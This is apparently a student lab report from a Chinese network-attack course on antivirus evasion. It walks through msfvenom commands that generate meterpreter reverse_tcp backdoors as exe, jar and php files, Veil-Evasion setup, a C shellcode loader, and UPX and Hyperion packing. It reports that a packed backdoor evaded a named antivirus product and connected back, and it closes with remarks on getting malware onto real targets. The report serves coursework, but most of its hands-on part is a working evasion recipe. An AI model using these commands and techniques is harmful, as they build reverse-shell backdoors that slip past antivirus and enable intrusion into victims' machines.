2018-2019-2 網絡對抗技術 20165318 Exp3 免殺原理與實踐
免殺原理及基礎問題回答
一、免殺原理
- 一般是對惡意軟件做處理,讓它不被殺毒軟件所檢測。也是滲透測試中需要使用到的技術。
- 要做好免殺,就時清楚殺毒軟件(惡意軟件檢測工具)是如何工作的。AV(Anti-virus)是很大一個產業。其中主要的技術人員基本有編制惡意軟件的經驗。
- 反過來也一樣,了解了免殺的工具和技術,你也就具有了反制它的基礎。
二、基礎問題回答
- 問:殺軟是如何檢測出惡意代碼的?
- 基於特征碼的檢測:簡單來說一段特征碼就是一段或多段數據,經過對許多惡意代碼的分析,我們發現了該類惡意代碼經常出現的一段或多段代碼,而且是其他正常程序沒有的,即特征碼。如果殺軟檢測到一個可執行文件包含特征碼就認為其是惡意代碼。
- 啟發式惡意軟件檢測:就是根據些片面特征去推斷。通常是因為缺乏精確判定依據。(非精確)
- 基於行為的惡意軟件檢測:可以理解為加入了行為監控的啟發式。通過對惡意代碼的觀察研究,發現有一些行為是惡意代碼共同的比較特殊的行為,殺軟會監視程序的運行,如果發現了這些特殊行為,就會認為其是惡意軟件。(非精確)
- 問:免殺是做什么?
- 使用一些技術手段對惡意軟件做處理,讓它不被殺毒軟件所檢測。同時,免殺也是滲透測試中需要使用到的技術。
- 問:免殺的基本方法有哪些?
- 改變特征碼
- 只有EXE——加殼(壓縮殼 加密殼)
- 有shellcode(像Meterpreter)——利用encode進行編碼
- 有源代碼——用其他語言進行重寫再編譯
- veil-evasion
- 半手工
- 改變行為
- 通訊方式
- 盡量使用反彈式連接
- 使用隧道技
- 加密通訊數據
- 操作模式
- 基於內存操作
- 減少對系統的修改
- 加入混淆作用的正常功能代碼
- 非常規方法
- 使用一個有漏洞的應用當成后門,編寫攻擊代碼集成到如MSF中。
- 使用社工類攻擊,誘騙目標關閉AV軟件。
- 純手工打造一個惡意軟件
- 通訊方式
- 改變特征碼
三、免殺效果評價
利用VirusTotal或Virscan,它們集成了60多個商業殺毒軟件的掃描引擎。可以上傳免殺處理過的程序進行檢測。
實驗內容
任務一:正確使用msf編碼器,msfvenom生成如jar之類的其他文件,veil-evasion,自己利用shellcode編程等免殺工具或技巧
1. 正確使用msf編碼器,生成exe文件
-
在實驗二中使用msf生成了后門程序,我們可以使用VirusTotal或Virscan這兩個網站對生成的后門程序進行掃描。
-
用VirusTotal掃描后結果如下:
-
在使用Virscan網站時,如果文件名中有數字就會出現以下錯誤,需要改命
-
改命過后Virscan網站的掃描結果如下:
由此可見不加任何處理的后門程序能夠被大多數殺軟檢測到,下面我們用msf編碼器對后門程序進行一次到多次的編碼,並進行檢測。
-
一次編碼使用命令:
-e
選擇編碼器,-b
是payload中需要去除的字符,該命令中為了使'\x00'不出現在shellcode中,因為shellcode以'\x00'為結束符msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.208.129 LPORT=5318 -f exe > met-encoded.exe
-
十次編碼使用命令:
-i
設置迭代次數msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=192.168.208.129 LPORT=5318 -f exe > met-encoded10.exe
-
將編碼十次后的可執行文件上傳到VirusTotal掃描后結果如下:
-
可見多次編碼對免殺沒有太大的效果,原因有兩點:
- shikata_ga_nai總會有解碼(decoder stub)部分需要加入的exe中,殺軟只要盯住這部分就可以了。
- msfvenom會以固定的模板生成exe,所有它生成的exe,如果使用默認參數或模板,也有一定的固定特征。所以一般來說AV廠商會針對其使用的模板來生成特征碼,這樣就一勞永逸地解決所有msfvenom生成的惡意代碼了。那如果使用msfvenom免殺,就要使用原生的模板。
2. msfvenom生成jar文件
-
生成java后門程序使用命令:
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.208.129 LPORT=5318 x> sxx_backdoor_java.jar
-
生成文件如下所示:
-
掃描結果如下:
3. msfvenom生成php文件
-
生成PHP后門程序使用命令:
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.208.129 LPORT=5318 x> 20165318_backdoor.php
-
生成文件如下所示:
-
掃描結果如下:
想生成更多其他形式的文件可以參考學姐的博客
4. 使用veil-evasion生成后門程序及檢測
安裝veil
- 如果鏡像是2018的話,在安裝之前可以先執行下面的指令,可能會需要比較長的時間
mkdir -p ~/.cache/wine
cd ~/.cache/wine
wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86.msi
wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86_64.msi
-
用
sudo apt-get install veil-evasion
命令安裝Veil -
之后用
veil
打開veil,輸入y
繼續安裝直至完成,這期間可能要等待較長時間: -
成功的話,輸入
veil
指令,會出現下面這個界面 -
用
use evasion
命令進入Evil-Evasion
-
輸入命令
use c/meterpreter/rev_tcp.py
進入配置界面
-
設置反彈連接IP,命令為:
set LHOST 192.168.208.134
,注意此處的IP是KaliIP; -
設置端口,命令為:
set LPORT 5318
-
輸入
generate
生成文件,接着輸入你想要playload的名字:veil_c_5318
. -
如上圖所示,保存路徑為
/var/lib/veil/output/compiled/veil_c_5318.exe
-
檢測一下:
行吧,還是一樣的會被檢查出來。而且最神奇的是,同樣的殺毒引擎,竟然一個報毒另一個安全????這是什么神奇的操作。。。
5. 半手工注入Shellcode並執行
-
首先使用命令:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.208.129 LPORT=5318 -f c
用c語言生成一段shellcode;
-
創建一個文件
20165318.c
,然后將unsigned char buf[]
賦值到其中,代碼如下:
unsigned char buf[] =
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
此處省略
"\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5";
int main()
{
int (*func)() = (int(*)())buf;
func();
}
-
使用命令:
i686-w64-mingw32-g++ 20165318.c -o 20165318.exe
編譯這個.c文件為可執行文件;
-
檢測結果如下圖:
-
當想要使用windows上執行該程序時,被電腦的360衛士查殺。
6.加殼嘗試一下
加殼的全稱應該是可執行程序資源壓縮,壓縮后的程序可以直接運行。
加殼的另一種常用的方式是在二進制的程序中植入一段代碼,在運行的時候優先取得程序的控制權,之后再把控制權交還給原始代碼,這樣做的目的是為了隱藏程序真正的OEP(入口點,防止被破解)。大多數病毒就是基於此原理。
加殼的程序需要阻止外部程序或軟件對加殼程序本身的反匯編分析或者動態分析,以達到保護殼內原始程序以及軟件不被外部程序破壞,保證原始程序正常運行。
這種技術也常用來保護軟件版權,防止軟件被破解。但對於病毒,加殼可以繞過一些殺毒軟件的掃描,從而實現它作為病毒的一些入侵或破壞的一些特性。
MSF的編碼器使用類似方法,對shellcode進行再編碼。
在技術上分殼分為:
-
壓縮殼
- 減少應用體積,如ASPack,UPX
-
加密殼
- 版權保護,反跟蹤。如ASProtect,Armadillo
-
虛擬機
- 通過類似編譯手段,將應用指令轉換為自己設計的指令集。如VMProtect,Themida
-
使用壓縮殼(UPX)
-
給之前的20165318.exe加個殼得到sxx_upxed.exe:
-
很不幸,還是被殺軟查殺了。。。
-
如果我們想要測試一下他是否可以反彈連接又不想被查殺怎么辦呢?——設置白名單,我用的是360衛士,具體如下:(其他的殺軟大概也是大同小異,但是平時一定不要這樣做!!!)
就ok啦,后面想要測試連接就可以這樣做了,但是這樣並不是殺軟與病毒共存,只是讓殺軟不再檢查這個目錄而已。 -
查看連接情況,可以反彈連接
-
-
加密殼Hyperion
-
將上一個生成的文件拷貝到
/usr/share/windows-binaries/hyperion/
目錄中 -
進入目錄
/usr/share/windows-binaries/hyperion/
中 -
輸入命令
wine hyperion.exe -v sxx_upxed.exe sxx_upxed_Hyperion.exe
進行加殼:
-
嘗試一下反彈連接
-
檢查一下
雖然還是有那么多被檢測到了,但是竟然沒有被電腦的360衛士發現!!!
在這個過程中,我看了學姐們的博客,有的說殺軟沒有發現后門程序,但我試過的所有程序都被殺軟發現了,這也印證了殺軟的病毒庫是在一直更新的。
-
任務二:通過組合應用各種技術實現惡意代碼免殺
- 通過組合半手工制作shellcode,壓縮殼,加密殼達到了免殺的目的
- 任務成功截圖:
任務三:用另一電腦實測,在殺軟開啟的情況下,可運行並回連成功,注明電腦的殺軟名稱與版本
注意:由於換了網絡,IP地址會發生變化,所有的程序都需要重新生成
-
免殺方法:先用msfvenom生成shellcode,再使用壓縮殼和加密殼進行加殼。
-
實驗環境:對方電腦為 win7虛擬機,騰訊電腦管家13.0.19837.233
-
反彈連接結果
離實戰還缺些什么技術或步驟?
-
首先,雖然程序能夠不被殺軟檢測到,我們現在只是會一些簡單的綜合利用技術進行改造,但實際上病毒庫時時刻刻不再更新發展,我們更需要學會多方面技術來使達到免殺的目的。
-
其次,但對於實戰來說,惡意代碼如何嵌入被攻擊機中,並讓被控主機運行它對我們來說還是一大問題,所以接下來要對如何偽裝、吸引被供給端點擊這方面進行學習。
-
整體來說就是要進行信息收集、漏洞分析,然后根據漏洞構造后門,並隱藏、清理痕跡等。
實驗遇到的問題及解決方法
有一部分問題我在實驗過程中有記錄。
-
思考:我發現同樣的軟件,不同的殺毒軟件查出來的問題不同
- 通過查閱資料常見病毒種類與殺毒軟件分析了解到,由於不同的殺毒軟件病毒庫不完全相同,殺毒引擎也不一樣,並且,不同軟件檢測惡意代碼的方式也不盡相同,這就造成了殺軟結果的差別。
-
問題:在與室友的主機ping時出現"TLL傳輸中過期"
- 因為我們兩個的kali都是net模式,導致以上問題,當我們把kali都改成橋接模式之后,就可以ping通了。
實踐總結與體會
- 本次實驗是在上次后門實驗的基礎上的進階,需要我們熟練掌握和運用后門技術,在實驗過程中,我了解了免殺的概念、免殺的基本方法,能夠熟練使用VirusTotal、Virscan等工具,能夠有條理、有目的的對后門動手實現一些免殺的處理,雖然現在做實驗大多還是跟着老師的步驟按部就班的走,但是通過理解掌握這些步驟,是我對后門及免殺有了更深的了解,為更加深入的研究免殺指明方向。
- 在實驗過程中,生成的一些后門程序有的並沒有被本機的殺軟檢測出來,這使我認識到,殺軟沒有被檢測出來,並不代表完全安全,在以后上網的過程中還需謹慎小心,提高安全意識,要在官方正規網站下載程序,降低被植入后門的可能性。